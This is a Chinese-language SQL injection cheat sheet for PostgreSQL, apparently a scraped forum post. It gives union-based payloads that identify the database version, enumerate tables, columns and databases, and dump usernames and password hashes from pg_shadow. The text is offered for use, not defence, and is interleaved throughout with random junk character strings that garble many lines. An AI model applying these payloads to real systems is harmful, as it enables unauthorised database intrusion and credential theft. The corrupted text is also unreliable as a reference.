结合了MSSQL MySQL Oracle的一些特点) r$ I; W9 E& \; X5 \
支持多语句执行,语句可以没有from postgres用户是超级用户(创始人账户) 只有superuser有copy权限 注释: — , /**/& r8 ?. w1 A8 n$ G
连接符: %20 , + , /**/ 内置函数:
: d$ P0 j' F$ L" J) x0 {- mcurrent_database() //当前数据库名0 Y+ o/ X* z7 g R! d$ L
session_user //会话用户. U* V) D# i/ j& N1 c" Y0 I
current_user //当前数据库用户
" U. [9 [: g! G2 quser //当前用户
* g) Y: `" q( J! ]version() //数据库版本 Union注射:3 O1 v! g( }* p7 E
order by n–
3 ^1 t+ d6 s; ~5 ^1 oand 1=2 union select null,null,null–
' s9 p0 \! F6 |7 u4 ~4 ]and 1=2 union select ‘beach’,null,null–
( b* C: Y3 _& l) k: X& [8 `and 1=2 union select (select version()),null,null– 获取表名,字段名(新版本利用information_schema):
! z; C8 B8 t1 W) dgroup_concat(table_name) _% L1 m! ?3 Y! B% @) }* f' k
and 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–
- J7 J) r+ e# c+ m* n Cand 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–
0 n& `# E; A& f3 A; h K0 l3 I" A(老版本) k4 Q- H5 o0 O! R+ k* u
pg_class.oid对应pg_attribute.attrelid
) q9 [ W6 b7 L k9 Hpg_class.relname表名
/ t$ m3 k% _4 gpg_attribute.attname字段名 select relname from pg_class获取表名0 _ H' B) y) A; ?, R
select oid from pg_class where 条件 获取参数
8 y- t) B( v2 T5 X' t* Pselect attname from pg_attribute where attrelid=’oid的值’ 获取字段名 实战:; r( O" e8 V8 h; H' r' \$ [
and 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表8 O3 E& t$ j, |' @* f6 k9 g
and 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–
V- Q: d) ?% J# E/ w# h- }! h由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136 and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名6 |5 S+ {1 L& y1 s& j9 {
======================================================================
3 a0 H3 I. h+ K& O! p6 a5 B% dand 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库
6 y! g8 \1 M! b1 J0 Oand 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码 |